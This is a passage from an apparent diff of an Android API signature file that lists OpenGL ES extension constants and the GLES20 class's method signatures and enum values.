+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_FORMATS_OES = 36058; // 0x8cda
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_OES = 36055; // 0x8cd7
+    field public static final int GL_FRAMEBUFFER_OES = 36160; // 0x8d40
+    field public static final int GL_FRAMEBUFFER_UNSUPPORTED_OES = 36061; // 0x8cdd
+    field public static final int GL_FUNC_ADD_OES = 32774; // 0x8006
+    field public static final int GL_FUNC_REVERSE_SUBTRACT_OES = 32779; // 0x800b
+    field public static final int GL_FUNC_SUBTRACT_OES = 32778; // 0x800a
+    field public static final int GL_INCR_WRAP_OES = 34055; // 0x8507
+    field public static final int GL_INVALID_FRAMEBUFFER_OPERATION_OES = 1286; // 0x506
+    field public static final int GL_MATRIX_INDEX_ARRAY_BUFFER_BINDING_OES = 35742; // 0x8b9e
+    field public static final int GL_MATRIX_INDEX_ARRAY_OES = 34884; // 0x8844
+    field public static final int GL_MATRIX_INDEX_ARRAY_POINTER_OES = 34889; // 0x8849
+    field public static final int GL_MATRIX_INDEX_ARRAY_SIZE_OES = 34886; // 0x8846
+    field public static final int GL_MATRIX_INDEX_ARRAY_STRIDE_OES = 34888; // 0x8848
+    field public static final int GL_MATRIX_INDEX_ARRAY_TYPE_OES = 34887; // 0x8847
+    field public static final int GL_MATRIX_PALETTE_OES = 34880; // 0x8840
+    field public static final int GL_MAX_CUBE_MAP_TEXTURE_SIZE_OES = 34076; // 0x851c
+    field public static final int GL_MAX_PALETTE_MATRICES_OES = 34882; // 0x8842
+    field public static final int GL_MAX_RENDERBUFFER_SIZE_OES = 34024; // 0x84e8
+    field public static final int GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT = 34047; // 0x84ff
+    field public static final int GL_MAX_VERTEX_UNITS_OES = 34468; // 0x86a4
+    field public static final int GL_MIRRORED_REPEAT_OES = 33648; // 0x8370
+    field public static final int GL_MODELVIEW_MATRIX_FLOAT_AS_INT_BITS_OES = 35213; // 0x898d
+    field public static final int GL_NONE_OES = 0; // 0x0
+    field public static final int GL_NORMAL_MAP_OES = 34065; // 0x8511
+    field public static final int GL_PROJECTION_MATRIX_FLOAT_AS_INT_BITS_OES = 35214; // 0x898e
+    field public static final int GL_REFLECTION_MAP_OES = 34066; // 0x8512
+    field public static final int GL_RENDERBUFFER_ALPHA_SIZE_OES = 36179; // 0x8d53
+    field public static final int GL_RENDERBUFFER_BINDING_OES = 36007; // 0x8ca7
+    field public static final int GL_RENDERBUFFER_BLUE_SIZE_OES = 36178; // 0x8d52
+    field public static final int GL_RENDERBUFFER_DEPTH_SIZE_OES = 36180; // 0x8d54
+    field public static final int GL_RENDERBUFFER_GREEN_SIZE_OES = 36177; // 0x8d51
+    field public static final int GL_RENDERBUFFER_HEIGHT_OES = 36163; // 0x8d43
+    field public static final int GL_RENDERBUFFER_INTERNAL_FORMAT_OES = 36164; // 0x8d44
+    field public static final int GL_RENDERBUFFER_OES = 36161; // 0x8d41
+    field public static final int GL_RENDERBUFFER_RED_SIZE_OES = 36176; // 0x8d50
+    field public static final int GL_RENDERBUFFER_STENCIL_SIZE_OES = 36181; // 0x8d55
+    field public static final int GL_RENDERBUFFER_WIDTH_OES = 36162; // 0x8d42
+    field public static final int GL_REQUIRED_TEXTURE_IMAGE_UNITS_OES = 36200; // 0x8d68
+    field public static final int GL_RGB565_OES = 36194; // 0x8d62
+    field public static final int GL_RGB5_A1_OES = 32855; // 0x8057
+    field public static final int GL_RGB8_OES = 32849; // 0x8051
+    field public static final int GL_RGBA4_OES = 32854; // 0x8056
+    field public static final int GL_RGBA8_OES = 32856; // 0x8058
+    field public static final int GL_SAMPLER_EXTERNAL_OES = 36198; // 0x8d66
+    field public static final int GL_STENCIL_ATTACHMENT_OES = 36128; // 0x8d20
+    field public static final int GL_STENCIL_INDEX1_OES = 36166; // 0x8d46
+    field public static final int GL_STENCIL_INDEX4_OES = 36167; // 0x8d47
+    field public static final int GL_STENCIL_INDEX8_OES = 36168; // 0x8d48
+    field public static final int GL_TEXTURE_BINDING_CUBE_MAP_OES = 34068; // 0x8514
+    field public static final int GL_TEXTURE_BINDING_EXTERNAL_OES = 36199; // 0x8d67
+    field public static final int GL_TEXTURE_CROP_RECT_OES = 35741; // 0x8b9d
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_X_OES = 34070; // 0x8516
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_OES = 34072; // 0x8518
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_OES = 34074; // 0x851a
+    field public static final int GL_TEXTURE_CUBE_MAP_OES = 34067; // 0x8513
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_X_OES = 34069; // 0x8515
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Y_OES = 34071; // 0x8517
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Z_OES = 34073; // 0x8519
+    field public static final int GL_TEXTURE_EXTERNAL_OES = 36197; // 0x8d65
+    field public static final int GL_TEXTURE_GEN_MODE_OES = 9472; // 0x2500
+    field public static final int GL_TEXTURE_GEN_STR_OES = 36192; // 0x8d60
+    field public static final int GL_TEXTURE_MATRIX_FLOAT_AS_INT_BITS_OES = 35215; // 0x898f
+    field public static final int GL_TEXTURE_MAX_ANISOTROPY_EXT = 34046; // 0x84fe
+    field public static final int GL_UNSIGNED_INT_24_8_OES = 34042; // 0x84fa
+    field public static final int GL_WEIGHT_ARRAY_BUFFER_BINDING_OES = 34974; // 0x889e
+    field public static final int GL_WEIGHT_ARRAY_OES = 34477; // 0x86ad
+    field public static final int GL_WEIGHT_ARRAY_POINTER_OES = 34476; // 0x86ac
+    field public static final int GL_WEIGHT_ARRAY_SIZE_OES = 34475; // 0x86ab
+    field public static final int GL_WEIGHT_ARRAY_STRIDE_OES = 34474; // 0x86aa
+    field public static final int GL_WEIGHT_ARRAY_TYPE_OES = 34473; // 0x86a9
+    field public static final int GL_WRITE_ONLY_OES = 35001; // 0x88b9
+  }
+
+  public class GLES20 {
+    ctor public GLES20();
+    method public static void glActiveTexture(int);
+    method public static void glAttachShader(int, int);
+    method public static void glBindAttribLocation(int, int, String);
+    method public static void glBindBuffer(int, int);
+    method public static void glBindFramebuffer(int, int);
+    method public static void glBindRenderbuffer(int, int);
+    method public static void glBindTexture(int, int);
+    method public static void glBlendColor(float, float, float, float);
+    method public static void glBlendEquation(int);
+    method public static void glBlendEquationSeparate(int, int);
+    method public static void glBlendFunc(int, int);
+    method public static void glBlendFuncSeparate(int, int, int, int);
+    method public static void glBufferData(int, int, java.nio.Buffer, int);
+    method public static void glBufferSubData(int, int, int, java.nio.Buffer);
+    method public static int glCheckFramebufferStatus(int);
+    method public static void glClear(int);
+    method public static void glClearColor(float, float, float, float);
+    method public static void glClearDepthf(float);
+    method public static void glClearStencil(int);
+    method public static void glColorMask(boolean, boolean, boolean, boolean);
+    method public static void glCompileShader(int);
+    method public static void glCompressedTexImage2D(int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCompressedTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCopyTexImage2D(int, int, int, int, int, int, int, int);
+    method public static void glCopyTexSubImage2D(int, int, int, int, int, int, int, int);
+    method public static int glCreateProgram();
+    method public static int glCreateShader(int);
+    method public static void glCullFace(int);
+    method public static void glDeleteBuffers(int, int[], int);
+    method public static void glDeleteBuffers(int, java.nio.IntBuffer);
+    method public static void glDeleteFramebuffers(int, int[], int);
+    method public static void glDeleteFramebuffers(int, java.nio.IntBuffer);
+    method public static void glDeleteProgram(int);
+    method public static void glDeleteRenderbuffers(int, int[], int);
+    method public static void glDeleteRenderbuffers(int, java.nio.IntBuffer);
+    method public static void glDeleteShader(int);
+    method public static void glDeleteTextures(int, int[], int);
+    method public static void glDeleteTextures(int, java.nio.IntBuffer);
+    method public static void glDepthFunc(int);
+    method public static void glDepthMask(boolean);
+    method public static void glDepthRangef(float, float);
+    method public static void glDetachShader(int, int);
+    method public static void glDisable(int);
+    method public static void glDisableVertexAttribArray(int);
+    method public static void glDrawArrays(int, int, int);
+    method public static void glDrawElements(int, int, int, int);
+    method public static void glDrawElements(int, int, int, java.nio.Buffer);
+    method public static void glEnable(int);
+    method public static void glEnableVertexAttribArray(int);
+    method public static void glFinish();
+    method public static void glFlush();
+    method public static void glFramebufferRenderbuffer(int, int, int, int);
+    method public static void glFramebufferTexture2D(int, int, int, int, int);
+    method public static void glFrontFace(int);
+    method public static void glGenBuffers(int, int[], int);
+    method public static void glGenBuffers(int, java.nio.IntBuffer);
+    method public static void glGenFramebuffers(int, int[], int);
+    method public static void glGenFramebuffers(int, java.nio.IntBuffer);
+    method public static void glGenRenderbuffers(int, int[], int);
+    method public static void glGenRenderbuffers(int, java.nio.IntBuffer);
+    method public static void glGenTextures(int, int[], int);
+    method public static void glGenTextures(int, java.nio.IntBuffer);
+    method public static void glGenerateMipmap(int);
+    method public static void glGetActiveAttrib(int, int, int, int[], int, int[], int, int[], int, byte[], int);
+    method public static String glGetActiveAttrib(int, int, int[], int, int[], int);
+    method public static String glGetActiveAttrib(int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static void glGetActiveUniform(int, int, int, int[], int, int[], int, int[], int, byte[], int);
+    method public static String glGetActiveUniform(int, int, int[], int, int[], int);
+    method public static String glGetActiveUniform(int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static void glGetAttachedShaders(int, int, int[], int, int[], int);
+    method public static void glGetAttachedShaders(int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static int glGetAttribLocation(int, String);
+    method public static void glGetBooleanv(int, boolean[], int);
+    method public static void glGetBooleanv(int, java.nio.IntBuffer);
+    method public static void glGetBufferParameteriv(int, int, int[], int);
+    method public static void glGetBufferParameteriv(int, int, java.nio.IntBuffer);
+    method public static int glGetError();
+    method public static void glGetFloatv(int, float[], int);
+    method public static void glGetFloatv(int, java.nio.FloatBuffer);
+    method public static void glGetFramebufferAttachmentParameteriv(int, int, int, int[], int);
+    method public static void glGetFramebufferAttachmentParameteriv(int, int, int, java.nio.IntBuffer);
+    method public static void glGetIntegerv(int, int[], int);
+    method public static void glGetIntegerv(int, java.nio.IntBuffer);
+    method public static String glGetProgramInfoLog(int);
+    method public static void glGetProgramiv(int, int, int[], int);
+    method public static void glGetProgramiv(int, int, java.nio.IntBuffer);
+    method public static void glGetRenderbufferParameteriv(int, int, int[], int);
+    method public static void glGetRenderbufferParameteriv(int, int, java.nio.IntBuffer);
+    method public static String glGetShaderInfoLog(int);
+    method public static void glGetShaderPrecisionFormat(int, int, int[], int, int[], int);
+    method public static void glGetShaderPrecisionFormat(int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static void glGetShaderSource(int, int, int[], int, byte[], int);
+    method public static String glGetShaderSource(int);
+    method public static void glGetShaderiv(int, int, int[], int);
+    method public static void glGetShaderiv(int, int, java.nio.IntBuffer);
+    method public static String glGetString(int);
+    method public static void glGetTexParameterfv(int, int, float[], int);
+    method public static void glGetTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetTexParameteriv(int, int, int[], int);
+    method public static void glGetTexParameteriv(int, int, java.nio.IntBuffer);
+    method public static int glGetUniformLocation(int, String);
+    method public static void glGetUniformfv(int, int, float[], int);
+    method public static void glGetUniformfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetUniformiv(int, int, int[], int);
+    method public static void glGetUniformiv(int, int, java.nio.IntBuffer);
+    method public static void glGetVertexAttribfv(int, int, float[], int);
+    method public static void glGetVertexAttribfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetVertexAttribiv(int, int, int[], int);
+    method public static void glGetVertexAttribiv(int, int, java.nio.IntBuffer);
+    method public static void glHint(int, int);
+    method public static boolean glIsBuffer(int);
+    method public static boolean glIsEnabled(int);
+    method public static boolean glIsFramebuffer(int);
+    method public static boolean glIsProgram(int);
+    method public static boolean glIsRenderbuffer(int);
+    method public static boolean glIsShader(int);
+    method public static boolean glIsTexture(int);
+    method public static void glLineWidth(float);
+    method public static void glLinkProgram(int);
+    method public static void glPixelStorei(int, int);
+    method public static void glPolygonOffset(float, float);
+    method public static void glReadPixels(int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glReleaseShaderCompiler();
+    method public static void glRenderbufferStorage(int, int, int, int);
+    method public static void glSampleCoverage(float, boolean);
+    method public static void glScissor(int, int, int, int);
+    method public static void glShaderBinary(int, int[], int, int, java.nio.Buffer, int);
+    method public static void glShaderBinary(int, java.nio.IntBuffer, int, java.nio.Buffer, int);
+    method public static void glShaderSource(int, String);
+    method public static void glStencilFunc(int, int, int);
+    method public static void glStencilFuncSeparate(int, int, int, int);
+    method public static void glStencilMask(int);
+    method public static void glStencilMaskSeparate(int, int);
+    method public static void glStencilOp(int, int, int);
+    method public static void glStencilOpSeparate(int, int, int, int);
+    method public static void glTexImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glTexParameterf(int, int, float);
+    method public static void glTexParameterfv(int, int, float[], int);
+    method public static void glTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glTexParameteri(int, int, int);
+    method public static void glTexParameteriv(int, int, int[], int);
+    method public static void glTexParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glUniform1f(int, float);
+    method public static void glUniform1fv(int, int, float[], int);
+    method public static void glUniform1fv(int, int, java.nio.FloatBuffer);
+    method public static void glUniform1i(int, int);
+    method public static void glUniform1iv(int, int, int[], int);
+    method public static void glUniform1iv(int, int, java.nio.IntBuffer);
+    method public static void glUniform2f(int, float, float);
+    method public static void glUniform2fv(int, int, float[], int);
+    method public static void glUniform2fv(int, int, java.nio.FloatBuffer);
+    method public static void glUniform2i(int, int, int);
+    method public static void glUniform2iv(int, int, int[], int);
+    method public static void glUniform2iv(int, int, java.nio.IntBuffer);
+    method public static void glUniform3f(int, float, float, float);
+    method public static void glUniform3fv(int, int, float[], int);
+    method public static void glUniform3fv(int, int, java.nio.FloatBuffer);
+    method public static void glUniform3i(int, int, int, int);
+    method public static void glUniform3iv(int, int, int[], int);
+    method public static void glUniform3iv(int, int, java.nio.IntBuffer);
+    method public static void glUniform4f(int, float, float, float, float);
+    method public static void glUniform4fv(int, int, float[], int);
+    method public static void glUniform4fv(int, int, java.nio.FloatBuffer);
+    method public static void glUniform4i(int, int, int, int, int);
+    method public static void glUniform4iv(int, int, int[], int);
+    method public static void glUniform4iv(int, int, java.nio.IntBuffer);
+    method public static void glUniformMatrix2fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix2fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix3fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix3fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix4fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix4fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUseProgram(int);
+    method public static void glValidateProgram(int);
+    method public static void glVertexAttrib1f(int, float);
+    method public static void glVertexAttrib1fv(int, float[], int);
+    method public static void glVertexAttrib1fv(int, java.nio.FloatBuffer);
+    method public static void glVertexAttrib2f(int, float, float);
+    method public static void glVertexAttrib2fv(int, float[], int);
+    method public static void glVertexAttrib2fv(int, java.nio.FloatBuffer);
+    method public static void glVertexAttrib3f(int, float, float, float);
+    method public static void glVertexAttrib3fv(int, float[], int);
+    method public static void glVertexAttrib3fv(int, java.nio.FloatBuffer);
+    method public static void glVertexAttrib4f(int, float, float, float, float);
+    method public static void glVertexAttrib4fv(int, float[], int);
+    method public static void glVertexAttrib4fv(int, java.nio.FloatBuffer);
+    method public static void glVertexAttribPointer(int, int, int, boolean, int, int);
+    method public static void glVertexAttribPointer(int, int, int, boolean, int, java.nio.Buffer);
+    method public static void glViewport(int, int, int, int);
+    field public static final int GL_ACTIVE_ATTRIBUTES = 35721; // 0x8b89
+    field public static final int GL_ACTIVE_ATTRIBUTE_MAX_LENGTH = 35722; // 0x8b8a
+    field public static final int GL_ACTIVE_TEXTURE = 34016; // 0x84e0
+    field public static final int GL_ACTIVE_UNIFORMS = 35718; // 0x8b86
+    field public static final int GL_ACTIVE_UNIFORM_MAX_LENGTH = 35719; // 0x8b87
+    field public static final int GL_ALIASED_LINE_WIDTH_RANGE = 33902; // 0x846e
+    field public static final int GL_ALIASED_POINT_SIZE_RANGE = 33901; // 0x846d
+    field public static final int GL_ALPHA = 6406; // 0x1906
+    field public static final int GL_ALPHA_BITS = 3413; // 0xd55
+    field public static final int GL_ALWAYS = 519; // 0x207
+    field public static final int GL_ARRAY_BUFFER = 34962; // 0x8892
+    field public static final int GL_ARRAY_BUFFER_BINDING = 34964; // 0x8894
+    field public static final int GL_ATTACHED_SHADERS = 35717; // 0x8b85
+    field public static final int GL_BACK = 1029; // 0x405
+    field public static final int GL_BLEND = 3042; // 0xbe2
+    field public static final int GL_BLEND_COLOR = 32773; // 0x8005
+    field public static final int GL_BLEND_DST_ALPHA = 32970; // 0x80ca
+    field public static final int GL_BLEND_DST_RGB = 32968; // 0x80c8
+    field public static final int GL_BLEND_EQUATION = 32777; // 0x8009
+    field public static final int GL_BLEND_EQUATION_ALPHA = 34877; // 0x883d
+    field public static final int GL_BLEND_EQUATION_RGB = 32777; // 0x8009
+    field public static final int GL_BLEND_SRC_ALPHA = 32971; // 0x80cb
+    field public static final int GL_BLEND_SRC_RGB = 32969; // 0x80c9
+    field public static final int GL_BLUE_BITS = 3412; // 0xd54
+    field public static final int GL_BOOL = 35670; // 0x8b56
+    field public static final int GL_BOOL_VEC2 = 35671; // 0x8b57
+    field public static final int GL_BOOL_VEC3 = 35672; // 0x8b58
+    field public static final int GL_BOOL_VEC4 = 35673; // 0x8b59
+    field public static final int GL_BUFFER_SIZE = 34660; // 0x8764
+    field public static final int GL_BUFFER_USAGE = 34661; // 0x8765
+    field public static final int GL_BYTE = 5120; // 0x1400
+    field public static final int GL_CCW = 2305; // 0x901
+    field public static final int GL_CLAMP_TO_EDGE = 33071; // 0x812f
+    field public static final int GL_COLOR_ATTACHMENT0 = 36064; // 0x8ce0
+    field public static final int GL_COLOR_BUFFER_BIT = 16384; // 0x4000
+    field public static final int GL_COLOR_CLEAR_VALUE = 3106; // 0xc22
+    field public static final int GL_COLOR_WRITEMASK = 3107; // 0xc23
+    field public static final int GL_COMPILE_STATUS = 35713; // 0x8b81
+    field public static final int GL_COMPRESSED_TEXTURE_FORMATS = 34467; // 0x86a3
+    field public static final int GL_CONSTANT_ALPHA = 32771; // 0x8003
+    field public static final int GL_CONSTANT_COLOR = 32769; // 0x8001
+    field public static final int GL_CULL_FACE = 2884; // 0xb44
+    field public static final int GL_CULL_FACE_MODE = 2885; // 0xb45
+    field public static final int GL_CURRENT_PROGRAM = 35725; // 0x8b8d
+    field public static final int GL_CURRENT_VERTEX_ATTRIB = 34342; // 0x8626
+    field public static final int GL_CW = 2304; // 0x900
+    field public static final int GL_DECR = 7683; // 0x1e03
+    field public static final int GL_DECR_WRAP = 34056; // 0x8508
+    field public static final int GL_DELETE_STATUS = 35712; // 0x8b80
+    field public static final int GL_DEPTH_ATTACHMENT = 36096; // 0x8d00
+    field public static final int GL_DEPTH_BITS = 3414; // 0xd56
+    field public static final int GL_DEPTH_BUFFER_BIT = 256; // 0x100
+    field public static final int GL_DEPTH_CLEAR_VALUE = 2931; // 0xb73
+    field public static final int GL_DEPTH_COMPONENT = 6402; // 0x1902
+    field public static final int GL_DEPTH_COMPONENT16 = 33189; // 0x81a5
+    field public static final int GL_DEPTH_FUNC = 2932; // 0xb74
+    field public static final int GL_DEPTH_RANGE = 2928; // 0xb70
+    field public static final int GL_DEPTH_TEST = 2929; // 0xb71
+    field public static final int GL_DEPTH_WRITEMASK = 2930; // 0xb72
+    field public static final int GL_DITHER = 3024; // 0xbd0
+    field public static final int GL_DONT_CARE = 4352; // 0x1100
+    field public static final int GL_DST_ALPHA = 772; // 0x304
+    field public static final int GL_DST_COLOR = 774; // 0x306
+    field public static final int GL_DYNAMIC_DRAW = 35048; // 0x88e8
+    field public static final int GL_ELEMENT_ARRAY_BUFFER = 34963; // 0x8893
+    field public static final int GL_ELEMENT_ARRAY_BUFFER_BINDING = 34965; // 0x8895
+    field public static final int GL_EQUAL = 514; // 0x202
+    field public static final int GL_EXTENSIONS = 7939; // 0x1f03
+    field public static final int GL_FALSE = 0; // 0x0
+    field public static final int GL_FASTEST = 4353; // 0x1101
+    field public static final int GL_FIXED = 5132; // 0x140c
+    field public static final int GL_FLOAT = 5126; // 0x1406
+    field public static final int GL_FLOAT_MAT2 = 35674; // 0x8b5a
+    field public static final int GL_FLOAT_MAT3 = 35675; // 0x8b5b
+    field public static final int GL_FLOAT_MAT4 = 35676; // 0x8b5c
+    field public static final int GL_FLOAT_VEC2 = 35664; // 0x8b50
+    field public static final int GL_FLOAT_VEC3 = 35665; // 0x8b51
+    field public static final int GL_FLOAT_VEC4 = 35666; // 0x8b52
+    field public static final int GL_FRAGMENT_SHADER = 35632; // 0x8b30
+    field public static final int GL_FRAMEBUFFER = 36160; // 0x8d40
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME = 36049; // 0x8cd1
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE = 36048; // 0x8cd0
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE = 36051; // 0x8cd3
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL = 36050; // 0x8cd2
+    field public static final int GL_FRAMEBUFFER_BINDING = 36006; // 0x8ca6
+    field public static final int GL_FRAMEBUFFER_COMPLETE = 36053; // 0x8cd5
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT = 36054; // 0x8cd6
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS = 36057; // 0x8cd9
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT = 36055; // 0x8cd7
+    field public static final int GL_FRAMEBUFFER_UNSUPPORTED = 36061; // 0x8cdd
+    field public static final int GL_FRONT = 1028; // 0x404
+    field public static final int GL_FRONT_AND_BACK = 1032; // 0x408
+    field public static final int GL_FRONT_FACE = 2886; // 0xb46
+    field public static final int GL_FUNC_ADD = 32774; // 0x8006
+    field public static final int GL_FUNC_REVERSE_SUBTRACT = 32779; // 0x800b
+    field public static final int GL_FUNC_SUBTRACT = 32778; // 0x800a
+    field public static final int GL_GENERATE_MIPMAP_HINT = 33170; // 0x8192
+    field public static final int GL_GEQUAL = 518; // 0x206
+    field public static final int GL_GREATER = 516; // 0x204
+    field public static final int GL_GREEN_BITS = 3411; // 0xd53
+    field public static final int GL_HIGH_FLOAT = 36338; // 0x8df2
+    field public static final int GL_HIGH_INT = 36341; // 0x8df5
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_FORMAT = 35739; // 0x8b9b
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_TYPE = 35738; // 0x8b9a
+    field public static final int GL_INCR = 7682; // 0x1e02
+    field public static final int GL_INCR_WRAP = 34055; // 0x8507
+    field public static final int GL_INFO_LOG_LENGTH = 35716; // 0x8b84
+    field public static final int GL_INT = 5124; // 0x1404
+    field public static final int GL_INT_VEC2 = 35667; // 0x8b53
+    field public static final int GL_INT_VEC3 = 35668; // 0x8b54
+    field public static final int GL_INT_VEC4 = 35669; // 0x8b55
+    field public static final int GL_INVALID_ENUM = 1280; // 0x500
+    field public static final int GL_INVALID_FRAMEBUFFER_OPERATION = 1286; // 0x506
+    field public static final int GL_INVALID_OPERATION = 1282; // 0x502
+    field public static final int GL_INVALID_VALUE = 1281; // 0x501
+    field public static final int GL_INVERT = 5386; // 0x150a
+    field public static final int GL_KEEP = 7680; // 0x1e00
+    field public static final int GL_LEQUAL = 515; // 0x203
+    field public static final int GL_LESS = 513; // 0x201
+    field public static final int GL_LINEAR = 9729; // 0x2601
+    field public static final int GL_LINEAR_MIPMAP_LINEAR = 9987; // 0x2703
+    field public static final int GL_LINEAR_MIPMAP_NEAREST = 9985; // 0x2701
+    field public static final int GL_LINES = 1; // 0x1
+    field public static final int GL_LINE_LOOP = 2; // 0x2
+    field public static final int GL_LINE_STRIP = 3; // 0x3
+    field public static final int GL_LINE_WIDTH = 2849; // 0xb21
+    field public static final int GL_LINK_STATUS = 35714; // 0x8b82
+    field public static final int GL_LOW_FLOAT = 36336; // 0x8df0
+    field public static final int GL_LOW_INT = 36339; // 0x8df3
+    field public static final int GL_LUMINANCE = 6409; // 0x1909
+    field public static final int GL_LUMINANCE_ALPHA = 6410; // 0x190a
+    field public static final int GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS = 35661; // 0x8b4d
+    field public static final int GL_MAX_CUBE_MAP_TEXTURE_SIZE = 34076; // 0x851c
+    field public static final int GL_MAX_FRAGMENT_UNIFORM_VECTORS = 36349; // 0x8dfd
+    field public static final int GL_MAX_RENDERBUFFER_SIZE = 34024; // 0x84e8
+    field public static final int GL_MAX_TEXTURE_IMAGE_UNITS = 34930; // 0x8872
+    field public static final int GL_MAX_TEXTURE_SIZE = 3379; // 0xd33
+    field public static final int GL_MAX_VARYING_VECTORS = 36348; // 0x8dfc
+    field public static final int GL_MAX_VERTEX_ATTRIBS = 34921; // 0x8869
+    field public static final int GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS = 35660; // 0x8b4c
+    field public static final int GL_MAX_VERTEX_UNIFORM_VECTORS = 36347; // 0x8dfb
+    field public static final int GL_MAX_VIEWPORT_DIMS = 3386; // 0xd3a
+    field public static final int GL_MEDIUM_FLOAT = 36337; // 0x8df1
+    field public static final int GL_MEDIUM_INT = 36340; // 0x8df4
+    field public static final int GL_MIRRORED_REPEAT = 33648; // 0x8370
+    field public static final int GL_NEAREST = 9728; // 0x2600
+    field public static final int GL_NEAREST_MIPMAP_LINEAR = 9986; // 0x2702
+    field public static final int GL_NEAREST_MIPMAP_NEAREST = 9984; // 0x2700
+    field public static final int GL_NEVER = 512; // 0x200
+    field public static final int GL_NICEST = 4354; // 0x1102
+    field public static final int GL_NONE = 0; // 0x0
+    field public static final int GL_NOTEQUAL = 517; // 0x205
+    field public static final int GL_NO_ERROR = 0; // 0x0
+    field public static final int GL_NUM_COMPRESSED_TEXTURE_FORMATS = 34466; // 0x86a2
+    field public static final int GL_NUM_SHADER_BINARY_FORMATS = 36345; // 0x8df9
+    field public static final int GL_ONE = 1; // 0x1
+    field public static final int GL_ONE_MINUS_CONSTANT_ALPHA = 32772; // 0x8004
+    field public static final int GL_ONE_MINUS_CONSTANT_COLOR = 32770; // 0x8002
+    field public static final int GL_ONE_MINUS_DST_ALPHA = 773; // 0x305
+    field public static final int GL_ONE_MINUS_DST_COLOR = 775; // 0x307
+    field public static final int GL_ONE_MINUS_SRC_ALPHA = 771; // 0x303
+    field public static final int GL_ONE_MINUS_SRC_COLOR = 769; // 0x301
+    field public static final int GL_OUT_OF_MEMORY = 1285; // 0x505
+    field public static final int GL_PACK_ALIGNMENT = 3333; // 0xd05
+    field public static final int GL_POINTS = 0; // 0x0
+    field public static final int GL_POLYGON_OFFSET_FACTOR = 32824; // 0x8038
+    field public static final int GL_POLYGON_OFFSET_FILL = 32823; // 0x8037
+    field public static final int GL_POLYGON_OFFSET_UNITS = 10752; // 0x2a00
+    field public static final int GL_RED_BITS = 3410; // 0xd52
+    field public static final int GL_RENDERBUFFER = 36161; // 0x8d41
+    field public static final int GL_RENDERBUFFER_ALPHA_SIZE = 36179; // 0x8d53
+    field public static final int GL_RENDERBUFFER_BINDING = 36007; // 0x8ca7
+    field public static final int GL_RENDERBUFFER_BLUE_SIZE = 36178; // 0x8d52
+    field public static final int GL_RENDERBUFFER_DEPTH_SIZE = 36180; // 0x8d54
+    field public static final int GL_RENDERBUFFER_GREEN_SIZE = 36177; // 0x8d51
+    field public static final int GL_RENDERBUFFER_HEIGHT = 36163; // 0x8d43
+    field public static final int GL_RENDERBUFFER_INTERNAL_FORMAT = 36164; // 0x8d44
+    field public static final int GL_RENDERBUFFER_RED_SIZE = 36176; // 0x8d50
+    field public static final int GL_RENDERBUFFER_STENCIL_SIZE = 36181; // 0x8d55
+    field public static final int GL_RENDERBUFFER_WIDTH = 36162; // 0x8d42
+    field public static final int GL_RENDERER = 7937; // 0x1f01
+    field public static final int GL_REPEAT = 10497; // 0x2901
+    field public static final int GL_REPLACE = 7681; // 0x1e01
+    field public static final int GL_RGB = 6407; // 0x1907
+    field public static final int GL_RGB565 = 36194; // 0x8d62
+    field public static final int GL_RGB5_A1 = 32855; // 0x8057
+    field public static final int GL_RGBA = 6408; // 0x1908
+    field public static final int GL_RGBA4 = 32854; // 0x8056
+    field public static final int GL_SAMPLER_2D = 35678; // 0x8b5e
+    field public static final int GL_SAMPLER_CUBE = 35680; // 0x8b60
+    field public static final int GL_SAMPLES = 32937; // 0x80a9
+    field public static final int GL_SAMPLE_ALPHA_TO_COVERAGE = 32926; // 0x809e
+    field public static final int GL_SAMPLE_BUFFERS = 32936; // 0x80a8
+    field public static final int GL_SAMPLE_COVERAGE = 32928; // 0x80a0
+    field public static final int GL_SAMPLE_COVERAGE_INVERT = 32939; // 0x80ab
+    field public static final int GL_SAMPLE_COVERAGE_VALUE = 32938; // 0x80aa
+    field public static final int GL_SCISSOR_BOX = 3088; // 0xc10
+    field public static final int GL_SCISSOR_TEST = 3089; // 0xc11
+    field public static final int GL_SHADER_BINARY_FORMATS = 36344; // 0x8df8
